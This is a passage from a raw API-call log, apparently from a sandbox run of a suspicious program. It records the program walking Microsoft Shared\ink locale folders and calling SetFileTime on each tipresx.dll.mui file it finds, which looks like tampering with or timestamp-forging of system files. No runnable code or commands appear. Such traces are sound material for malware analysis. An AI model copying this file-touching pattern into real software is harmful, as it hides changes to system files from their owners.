nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.222] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.222] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.222] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.222] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.223] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.224] CloseHandle (hObject=0x90) returned 1 [0058.224] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\tipresx.dll.mui" [0058.224] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.224] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.224] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0058.224] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.224] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0058.224] lstrcmpA (lpString1=".", lpString2="ko-KR") returned -1 [0058.224] lstrcmpA (lpString1="..", lpString2="ko-KR") returned -1 [0058.224] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.225] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.225] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.225] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.225] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.225] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.225] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.228] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.229] CloseHandle (hObject=0x90) returned 1 [0058.229] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" [0058.229] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.229] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.229] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0058.229] lstrcmpA (lpString1=".", lpString2="lt-LT") returned -1 [0058.229] lstrcmpA (lpString1="..", lpString2="lt-LT") returned -1 [0058.229] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.230] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.230] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.231] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.231] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.231] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.231] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.232] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.232] CloseHandle (hObject=0x90) returned 1 [0058.232] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui" [0058.233] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.233] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.233] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0058.233] lstrcmpA (lpString1=".", lpString2="lv-LV") returned -1 [0058.233] lstrcmpA (lpString1="..", lpString2="lv-LV") returned -1 [0058.233] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.233] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.233] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.233] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.233] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.233] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.234] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.235] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.235] CloseHandle (hObject=0x90) returned 1 [0058.235] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\tipresx.dll.mui" [0058.235] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.235] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.235] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0058.235] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.236] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0058.236] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.236] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0058.236] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.236] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0058.236] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.236] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0058.236] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.237] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0058.237] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.237] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0058.237] lstrcmpA (lpString1=".", lpString2="nb-NO") returned -1 [0058.237] lstrcmpA (lpString1="..", lpString2="nb-NO") returned -1 [0058.237] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x4f8266, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.237] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.237] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.237] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.237] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.238] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.238] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.239] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.239] CloseHandle (hObject=0x90) returned 1 [0058.239] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\tipresx.dll.mui" [0058.239] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0058.240] FindClose (in: hFindFile=0x4f8118 | out: hFindFile=0x4f8118) returned 1 [0058.240] FindNextFileA (in: hFindFile=0x4f8190, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0058.240] lstrcmpA (lpString1=".", lpString2="nl-NL") returned -1 [0058.240] lstrcmpA (lpString1="..", lpString2="nl-NL") returned -1 [0058.240] FindFirstFileA (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f84a8, cFileName=".", cAlternateFileName="")) returned 0x4f8118 [0058.240] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0058.240] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0058.240] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0058.240] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0058.240] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0058.240] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0058.243] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0058.243] CloseHandle (hObject=0x90) returned 1 [0058.243] lstrcatA (in: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\", lpString2="tipresx.dll.mui" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\tipresx.dll.mui" [0058.243] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, 